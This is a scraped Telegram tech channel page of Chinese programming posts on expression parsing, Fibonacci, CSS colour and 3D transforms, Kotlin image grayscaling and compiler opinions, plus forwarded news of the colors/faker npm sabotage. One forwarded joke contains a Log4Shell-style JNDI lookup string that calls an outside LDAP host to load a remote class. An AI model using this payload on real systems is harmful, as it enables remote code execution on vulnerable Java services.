duangsuse::Echo
711 subscribers
4.24K photos
127 videos
583 files
6.44K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): https://WOJS.org/#/
Download Telegram
duangsuse::Echo
#ce #plt 带步骤的四则计算器。递归逆波兰。22行代码 浅先=`;=;+ -;* / %` 流=(a, _s=[...a].values())=>()=>_s.next().value 切2D=(s,sp0,sp1)=>s.split(sp0).map(s=>s.split(sp1) ) {let t={},k; 切2D(浅先,';',' ').forEach((x,i)=>{for(k of x)t[k]=i}); 符深大=t} 符链=(s,l)=>{let a=[],add=x=>a.push(x)…
#learn 首先来了解下中缀链优先级解析法
1+2*3 即 1+(2*3)
1*2+3 即 (1*2)+3 ,即前缀 (+ (* 12)3),+的优先比* 低,所以它离树根最近、最后计算。默认先算左边的

one=ed=>{x(); for(o=s(); l[o]>=l[ed];)one(o) add(ed)};
o是最新一算符、x()是读单项。每层会收纳级=它的算符链,1+2 *3 +4 时乘法深度往上攀升,就先add(*),然后才落回 +的层次继续 x()=4,直到 o=null 整个栈退出
one('')&a.pop()
初始是一个不可能出现(没有平级项)的算符,它add('') 后将这pop()掉
return a
//1 2 * 3 +

中缀记法是所有编程语言的必备文法,调用链也是中缀链。但括号代表啥呢?代表一个单独计算的整体(算术表达式Expr) 从而避免优先级争夺
除了 if,?: 等条件结构外,包括函数调用和{}都可以用栈表示,栈就是说
1 2 * 3 + 遇到数则记住,遇到符则把最近2数弹出来,算为1个数记回去,这样深深的递归eval() 就变成单层、可中断的了

然后是第二部分,如何显示求值步骤。其实看右侧你们也能发现栈机执行中 单次运算(k,a,b) 时 [*st[:-2] ,a,b,k=opcode,*代码][*st,*代码] 是执行前的代码副本
这个副本是随代码执行不断在缩小的,我们能拿到「当前步骤」的整体代码
而“toString计算栈”也是种 折叠(代码,二元计算) 操作。拿它显示代码正求值的步骤就OK了
#parallel #SIMD #intel avx512 🤔能...批量浮点加速??
Forwarded from Solidot
英特尔释出微码更新完全禁用 12 代酷睿处理器的 AVX-512 指令集

2022-01-07 22:45

英特尔通过主板制造商释出新 BIOS 完全禁用了 12 代酷睿处理器的 AVX-512 指令集。12 代酷睿处理器采用大小核设计,包括性能 P 核心和能效 E 核心,其中只有 P 核心支持 AVX-512 指令集,而要使用 AVX-512 用户必须在 BIOS 中禁用 E 核心。现在英特尔通过微码更新完全禁用了 AVX-512,所有现有的 Z690 主板都将通过新 BIOS 禁用 AVX-512。英特尔此举可能是让 AVX-512 指令集保留给企业级 CPU 使用,消费级 CPU 不再提供。
#Gihub #js 🤔 钱钱! termcolor 钱钱!
https://zhuanlan.zhihu.com/p/378294553 补充: #life 这个可怜的 #web #data #dev 家里失火了,然后他的UI试用假数据生成器被 FAANG 一大堆公司白嫖,还被一个(sponsor) ReTool 白嫖了云服务,可是一分钱也没付给他;而且按MIT协议这样是没错的

我都很好奇这个花了十年的fakedata synth 有多厉害(因为社媒总有夸大的成分),以至于值大价钱,但我不想去,而且有时候就值钱

#life Marak在失火时有些人倾囊相助。相似的,CSS4 https://developer.mozilla.org/zh-CN/docs/Web/CSS/color_value#颜色关键字 RebeccaPurple 是纪念Web布局先锋患癌去世的6岁女儿Rebecca。 人情冷暖仍存于技术圈里
Forwarded from Solidot
开源开发者故意破坏广泛使用的依赖库

2022-01-10 13:34

一位开源开发者的故意破坏再次引发了企业依赖靠维护者义务工作的开源库的争议。Marak Squires 的开源库 color 和 faker 被广泛使用,其中不乏企业和商业客户。在包管理器 NPM 上,colors 的周下载量超过 2000 万次,有近 19000 个项目依赖它;faker 的周下载量超过 280 万次,有超过 2500 个项目依赖它。开发者在 color.js 库的 v1.4.44-liberty-2 版本中给新的美国国旗模块加入了无限循环,依赖 color.js 的项目会在控制台看到不停打印的非 ASCII 字符。faker v6.6.6 版本的情况类似,他将这两个搞破坏的版本推送到 GitHub 和 npm。受影响的项目包括亚马逊 AWS 的 Cloud Development Kit。开发者此前曾批评企业没有回馈社区,他在 2020 年 11 月警告说,他将不再用义务工作支持大企业,商业客户应该考虑创建分支,或者用每年六位数的薪水补偿开发者。安全专家批评这种行为不负责任,每一个依赖这些库的项目都受到影响,而不仅仅是大企业。GitHub 平台暂时封禁了 Marak Squires 的账号(已解封),此举也引发了对 GitHub 如何控制开源项目的争议。
duangsuse::Echo
#learn 首先来了解下中缀链优先级解析法 1+2*3 即 1+(2*3) 1*2+3 即 (1*2)+3 ,即前缀 (+ (* 12)3),+的优先比* 低,所以它离树根最近、最后计算。默认先算左边的 one=ed=>{x(); for(o=s(); l[o]>=l[ed];)one(o) add(ed)}; o是最新一算符、x()是读单项。每层会收纳级=它的算符链,1+2 *3 +4 时乘法深度往上攀升,就先add(*),然后才落回 +的层次继续 x()=4,直到 o=null 整个栈退出 one('')&a.pop()…
https://yfzhe.github.io/posts/2020/03/define-memo/ #fp #algorithm fib 序列

这货一般用递归或递推(伪递归)定义(f=fib)
f 0=0;f 1=1
f n=(f n-1)+(f n-2) --前两次之和


于是 f 2 = 1+0 ,f 3=f2+1 ,很明显这可以转为递推

f' 0 a _ = a --f0=0
f' n a b = f' (n-1) b (a+b)
f n=f' n 0 1

f2= f' 1 1 1
- f' 0 1 2 - 1

也即循环
f=n=>{let a=0,b=1,c=0;for(;n--;){c=a+b;a=b;b=c} return b}

如果不想浪费 f'0时的b=(a+b) ,也可以
f' 0 _b=b
f n=f' (n-1) 0 1 ; f0=0

当然即便不使用递推,memo 缓存参数也能很好优化雪崩式递归
#haskell 里也可以用 fib=0:1:zipWith(+) fib (drop 1 fib)
你可能觉得很怪,我 #Python 利用2项tee()缓冲区实现过这个 fib.py
fibs = iself(lambda fibs: chain([1,1], starmap(add, zip(fibs, drop(1,fibs)))))


函数式的动态规划 - 脚趾头的文章 - 知乎 讲了背包、子序列问题的DP
https://zhuanlan.zhihu.com/p/104238120
Systemd 是 linuxrc(run-command) 系统,而 init=pid0 ,含特殊权限(pivot_root..)。它提供sysv /init的替代品来执行初始化任务。 #linux
当然init,service unit 对systemd只是一小块,也有 journalctl,coredump,bootctl, hibernate-resume 等工具,总之linux的管理API(proc,sysfs,dev,.) 基本都有涉及
Forwarded from Phonograph (Ralph 萌新喵)
OS考试未解之谜:
0号和1号进程到底哪个是systemd
(然后排除了0号进程,因为感觉它是从当前态的OS的逻辑上的父亲来的)
systemd属于啥程序来着
#statement #tech 感觉最近写代码越来越顺手了……虽然都没写过App 😒
今天说着要复刻《小狮子少年》的斜眼 #cg ,居然两遍就完成了(可惜视频还要等(但如果完成得慢会影响其他进度的吧

许多编程手段也得到了系统化
由区间-列表处理函数-2D分列 得来的自由数据集表达
由循环改变-函数图-动画曲线 得来的变化率应用
由语言对照得来的新描述语言风格、对 #ce 编译和语言大结构的理解,以及其对API的提炼 (再也不会觉得名字长才易懂,因为程序和提示有许多写法

使得我变得更适合任何用途意义的编程,我用一两行代码实现过许多所谓「框架」才能干的事,没一行多余的代码,句句是核心必要点,也能快速设计下可调参数,这是最好的。 🙊
可惜以后这些只能在一些边角里体现了

很期待用支持弹性动画的 #Blender 剪视频,以及蹭热度。

动苏眼里 #cg 除了GLSL(特效,光追,.)等明显项,『计算机图形学』和绘制的分界线有无使用『混成(composite)』。画一个圆弧arc进度条动画、多边形啥就是绘制,z轴重排序(3D Painter算法)和clip()mask 就是图形学 :v \
#math 如果你要在终端展示图片(RGB亮度->灰度),就需要将稠密的浮点切成区间编号。 绿 floor(x*a)/a 在a=2 时将0~1切成2份,a=10 相当于保留1位小数(1.0内含10阶),而 红 round 会切成4份,即数组a. a[floor(v*n(a) )]
#CSS #web 提供了 #rgb , #rrggbbaargb(255,.) ,以及 hsl(Hdeg S%L%) 扇形选色方式,注意这不是冷知识.. color picker 都支持按色相、饱和、亮度选色, backdrop-filter:hue-rotate(1deg) 也是有的
CSS1 仅支持VGA颜色,后来有了 X11-SVG 标准色集
CSS4 支持 rgba(r g b /a) 空格格式和浮点数

相比之下,弱鸡的 #Java AWT 和 #Python PIL 就没有简单、统一可玩的API ,awt 只有光谱 CIE XYZ 这样低层的概念, getHSBColor 和又能大写又能小写的 static RED 这些……emm

#cg 在「擦拭」位图A->B渐变里,t=0~1 , 当前帧=(1-t)A+tB ;先绘制A, 再以 mask(t) 叠上B
遮罩mask 内最黑的部分代表B最先出现部分,随着t递增 所有像素渐变到B

柔和度=0 时 mask 内只有0,1 二态,所以AB中间的线(如果mask=横向渐变)很锐利
=1 时会用尽alpha色域(一般256色)渐变
《古文观止》里「观止」指什么
Final Results
33%
望不可却(观,止
33%
看看就好
33%
一个名词
duangsuse::Echo
《古文观止》里「观止」指什么
《古文观止》是一个文章选本,“观止”是本于《左传》里记载季札在鲁国看乐舞时赞美的话:“观止矣!若有他乐,吾不敢请已。” —指看到这里就可以休止了
🌚 开源不会内圈,因为业余技术人就是内圈的
Forwarded from 甜食 the Chimera
#Java #meme 脸黑君 (😭哇~~~, [2022/1/11 下午6:28]
神灯 “恭喜你捡到了我,我可以实现你三个愿望,请说出的你三个愿望”

男孩 “请你实现我的第二个愿望”
神灯 “好的,然后呢?”

男孩 “请你实现我的第一个愿望”
神灯 “Exception in thread "main" java.lang.StackOverflowError”

rin kki, [2022/1/11 下午6:31]
没初始化愿望就实现,应该空指针啊~

Laoself 👨‍💻,
请Log.i("${jndi:ldap://1.1.1.1:3890/Calc}
#code
@SAM interface Fn{void run();}
void main(){
Fn 愿望1=FnBy(()->愿望2), 愿望2=()->愿望1();
愿望1.run(); //立刻实现!
}
Fn FnBy(java.util.function.
Suppiler<Fn> f){return()->f.get().run();}
螺莉莉的黑板报
http://tridiv.com/ 用 CSS + HTML 画三维物体的可视化编辑器。 你们……CSS 上脑的人好可怕……
#DontKnow 一如既往的Y-up 座标系(左手比枪xy, 中指z) 。 原来向y旋转是要改变x角度吗..向z旋转要改变y, 角度z 就是相对x了,对横长方体不明显..

正方体有6面,十字架展开 tp lt ft rt 凸字形:最上=顶面, bm bk 底和后,相信类似3D盒动画大家见过 --_- 。它们的 #CSS transform:
rotateX(90deg) translateY(-50%)
rotateY(90deg) translateX(-50%)
translateZ(2em)
rotateY(-90deg) translateX(-50%)
rotateX(-90deg) translateY(-50%)
translateZ(-2em) rotateY(180deg)
顶底(i=0,-2) 的角度是对应的,轴=X
前后(2,-1) 移动轴=Z —只是前后次序
左右(1,-3) 轴=Y

当你正面(xy)正方体,它可以在X/Y=横纵 距一个外点旋转(xy位置改变),Z 就是四方本身的倾斜度
X不是横向旋转,而是“所有点绕X轴转”

然后通过 rt-lt{width} bk-ft{} 这些调参

它给每个对象创建CSS .cub-19 .face 我最佩服的..
https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotate3d()
duangsuse::Echo
为了吹哨人、发哨人,以及所有为了疫情努力过的人(当然,显然我不包括在其中) 本频道 image 象征性灰今明两天。 #Telegram #China #Python Pillow: from PIL import Image def grayifyFile(name): img = Image.open(name) img.convert("L").save(name.rsplit(".")[0]) grayifyFile("image.png") OpenCV #CV #Cplusplus:…
#Kotlin 今天再写一遍灰度(黑白)化 🤪

import java.io.File
import javax.imageio.*
import java.awt.image.*
object ImGray{
@JvmStatic fun main(vararg a:String){
ImageIO.read(a[0]).mapPix{val(r,g,b)=Byte.cut(3,it); val l=(r * 299/1000 + g * 587/1000 + b * 114/1000); Byte.cat(l,l,l) }.save(a[1])
}//每Pix=Lum亮度公式

fun BufferedImage.mapPix(op:(Int)->Int)=this.apply{
for(y in 0 until height)for(x in 0 until width)
setRGB(x,y, op(getRGB(x,y)) )
}
fun Image.save(fp:String)=ImageIO.write(this,fp.substringAfter("."),File(fp))
object Byte{
fun cut(n:Int, b:Int)=IntArray(n).also{var u=b; for(i in 1..n){it[i]=u and 0xFF; u=u ushr 8} }
fun cat(vararg b:Int)=b.fold(0){u,x -> u shl 8 or x}
//{var u=0; b.forEach{u=u shl 8 or it}; return u }
}
使用效果(跗注: 这是拉黑我一个 #Bilibili up 主的视频封面 🌚
duangsuse::Echo
使用效果(跗注: 这是拉黑我一个 #Bilibili up 主的视频封面 🌚
#ce 反正建议大家不要信这些东西。 学了总是会有用的,但绝对不如直接吃元编程/代码生成 香 🌝
数学也能帮到编程啊,但还不如直接用 Desmos.com 🌑

这个『晓舟杂谈』的视频就是营销号,我稍微提了一句不尊重从业者,就给我拉黑了 🌝

然后他的视频呢,就是找了点old-school 的教材和一个 C++ Tree-IR 编译-执行 的视频(作者=CPP语言律师),对流程毫无了解 就敢说1天学会,真的服气。
有种你做独立App开发者、做科普 我倒敬你知名,也别来瞎碰瓷啊 🙉

我只是在扯淡(但是扯淡的人也不会教你 Racket外语言的实现.. 😂 应该说确实有些做法需要点明,但照LLVM的实例来就可以了。
在编译器前端最 native 的就是文本按 文件级,函数级, 代码块转化变量-计算图,而不是翻译到另外的高级语言文本、或解释执行啥的(那样就是计算器, 带if-部分求值也能做)
其实许多编译器的routine 用元编程也可,比如 C# 的隐式转换 implicit operator int(byte b) => widen(b) 貌似就能实现数值拓宽
如果不懂元编程(如new=按type分配&call-init,实例虚方法查找),编译器无非就是把文本做个解析,检查下类型,安排下地址,这些根本没啥有趣的,递归到常量变量节点就成

>许多框架实现的糖写法根本不需要创建新语言或者XML,问题是对只会模仿的人连 printf() 是 va_arg 和 cout« 不是“语法”都不知道,连语言=思维的实质都没分清谈何革命呢; 也幸好他们不懂编译原理,不然就会有一大堆莫名其妙的“Groovy”或DSL出现 :\

不清楚『语言』和编程语言是一回事,就会像Perl和bash 一样,“内部”功能越加越多,用户越来越少;我可不会以学写那样的语言为荣☹️,应该让机器生成那种东西
或者像Groovy ,IDEA支持烂得离谱,唯一的REPL试用也要被jshell取代了。 歧义和零散功能太多就造成这种问题

编译器真的没啥,只是一些人前缀解析器都不会写(准确的说是把显式状态机当必需品了,因此整个框架会过大),如果我2行写完S-expr 的解析, 那附带深先树重写,乃至名字解析、闭包啥的只是对内存结构的理解问题 :\ #js #code
let a="(1 (2 3))".split(/([()\s])/g).filter(s=>s!=''),i=0;
层=(tk)=>{for(let x,q;x=a[i];){i++;if(x==')')break;q=x=='('; tk.push(q?(x=[]):x); if(q)层(x)} }
层(树根=t0=[])

解析要么词条(跳空白的字符)流动,要么程序执行位置被动,肯定是程序驱动前缀消耗,而不是输入驱动程序执行; 让状态号决定行为 能凑整一些代码,让调用栈决定 能复用更多,设计和使用 compiler compiler (ANTLR,YaCC啦)就是行为艺术,可惜对外行它被传为必须,所以大家入门都难(而Lua等的手写递归下降又太长, 简单说就是科普阵地被魔法师占领了,反倒是成熟的更易学)。
现在有 coroutine 了,也能写数据驱动程序的解析器 且无需CGen,不过毫无意义。按文本读取的用途 哪怕用线程都不需要协程

当年我看PEG.js 左递归简直烧脑要死啊,还能优化?现在用着简写版逆波兰重排,我才懒得问左边递归为啥是循环,以及 Mul=Add|Add'*'Add 到底想干啥(js split&map版我也写过😂)。——为啥非得照你的做法抄啊
又长又烂还不方便,算个四则起一大堆名字,好像最后不是对应 eval(a{op}b) 一样
——为啥非得照你的API啊
按用途文档;元编程重构不好看吗?
功能弱鸡概念还那么多,滚吧😋


不能指望 #zhihuyinwang.org , ice1000.org 的大佬教这些东西,其实他们自己也只写过一两次,不管现在是做到什么程度,未必能拓宽过往的认知

越聪明的人反而越难科普,因为他们每件事都是一遍过。演讲是带稿还是脱稿好呢? 嘛,从未演讲过的人与稿子无缘,也没机会检查自己的语言问题,这是与思路多清晰关系不大的。(他们都算前辈.动机不多猜)